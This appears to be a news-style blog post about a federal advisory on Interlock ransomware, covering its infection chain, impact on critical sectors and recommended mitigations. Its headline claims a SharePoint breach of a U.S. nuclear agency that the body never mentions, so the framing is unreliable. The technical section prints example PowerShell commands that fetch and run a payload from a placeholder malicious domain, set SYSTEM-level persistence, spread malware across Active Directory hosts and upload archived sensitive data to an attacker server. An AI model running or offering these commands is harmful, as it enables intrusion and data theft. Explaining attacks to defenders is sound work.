Massive Cyber Breach Hits U.S. Nuclear Agency via SharePoint Exploit — What You Need to Know

CISA and FBI raise red flags about a new ransomware strain crippling essential services while urging critical sectors to adopt robust defense strategies.

Washington D.C. | July 23, 2025

In a coordinated advisory, the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the Department of Health and Human Services (HHS) have issued a stark warning about the active deployment of the Interlock ransomware strain against U.S. critical infrastructure, particularly healthcare, emergency services, and manufacturing.

According to the joint report, the Interlock group has intensified operations in 2025, combining traditional ransomware tactics with advanced data exfiltration, double extortion, and encryption-at-scale, paralyzing services across the country.

“Interlock is leveraging familiar tools in unfamiliar combinations,” said Bryan Vorndran, FBI’s Cyber Division Assistant Director. “They are exploiting misconfigurations and outdated systems, often bypassing defenses through credential theft and abusing legitimate remote access tools.”

---

🧠 How Interlock Works – Technical Analysis

The Interlock ransomware deploys a sophisticated infection chain designed to evade detection and ensure maximum impact. The core workflow typically involves:

1. Initial Access

• Phishing emails with malicious attachments or links.
• Exploited vulnerabilities in public-facing systems (e.g., CVE-2023-4966, Citrix Bleed).
• Credential stuffing using leaked or reused passwords.

Invoke-WebRequest -Uri "http://maliciousdomain.com/payload.exe" -OutFile "C:\Users\Public\interlock_loader.exe"
Start-Process "C:\Users\Public\interlock_loader.exe"

2. Persistence and Privilege Escalation

• Creation of scheduled tasks or registry run keys.
• Exploitation of unpatched privilege escalation flaws (e.g., CVE-2023-21768).

schtasks /create /tn "Updater" /tr "C:\malware\interlock.exe" /sc hourly /ru SYSTEM

3. Lateral Movement

• Uses tools like PsExec, Remote Desktop, or WMI to move laterally.
• Active Directory (AD) reconnaissance with tools like BloodHound or ADExplorer.

Get-ADComputer -Filter * | foreach {Invoke-Command -ComputerName $_.Name -ScriptBlock {Start-Process interlock.exe}}

4. Data Exfiltration and Encryption

• Files are compressed and uploaded to cloud or attacker-controlled servers.
• AES encryption is applied locally, followed by RSA key wrapping.

Compress-Archive -Path "C:\SensitiveData\*" -DestinationPath "archive.zip"
Invoke-WebRequest -Uri "http://attacker.io/upload" -Method Post -InFile "archive.zip"

---

📍Impact on Critical Infrastructure

Organizations in healthcare, 911 dispatch services, municipal water control, and logistics have reported outages. The encrypted files come with a ransom note demanding payments in cryptocurrency, often in excess of $1 million.

CISA warns that Interlock attackers deliberately avoid immediate system crashes, opting for silent persistence and exfiltration, making detection harder.

---

🔐 Recommendations by Federal Agencies

The joint advisory includes specific mitigation strategies:

1. Implement MFA across all remote access points.
2. Segment networks—especially separating IT from OT systems.
3. Harden PowerShell using execution policies and script block logging.
4. Monitor lateral movement using endpoint detection and response (EDR) tools.
5. Apply patches urgently for exploited vulnerabilities.

“The risk isn’t just about data—it’s about operational shutdowns that affect public safety,” said Dr. El Mostafa Ouchen, cybersecurity expert and author of Mastering Kali Purple. “Resilience demands a shift from reactive to predictive security.”

---

🌍 Broader Significance

This is part of an ongoing surge in targeted ransomware campaigns linked to both financially motivated criminal syndicates and potential state-affiliated actors. The increasing sophistication and automation of these attacks point toward the need for international cyber defense frameworks.

“Ransomware has become a tool of economic destabilization,” warned Ouchen. “No sector is immune.”

---

🧾 Sources:

• CISA Joint Advisory: Interlock Ransomware Activity
• FBI Cyber Division Alerts
• InfoSecurity Magazine: U.S. Government Issues Alert Over Interlock Ransomware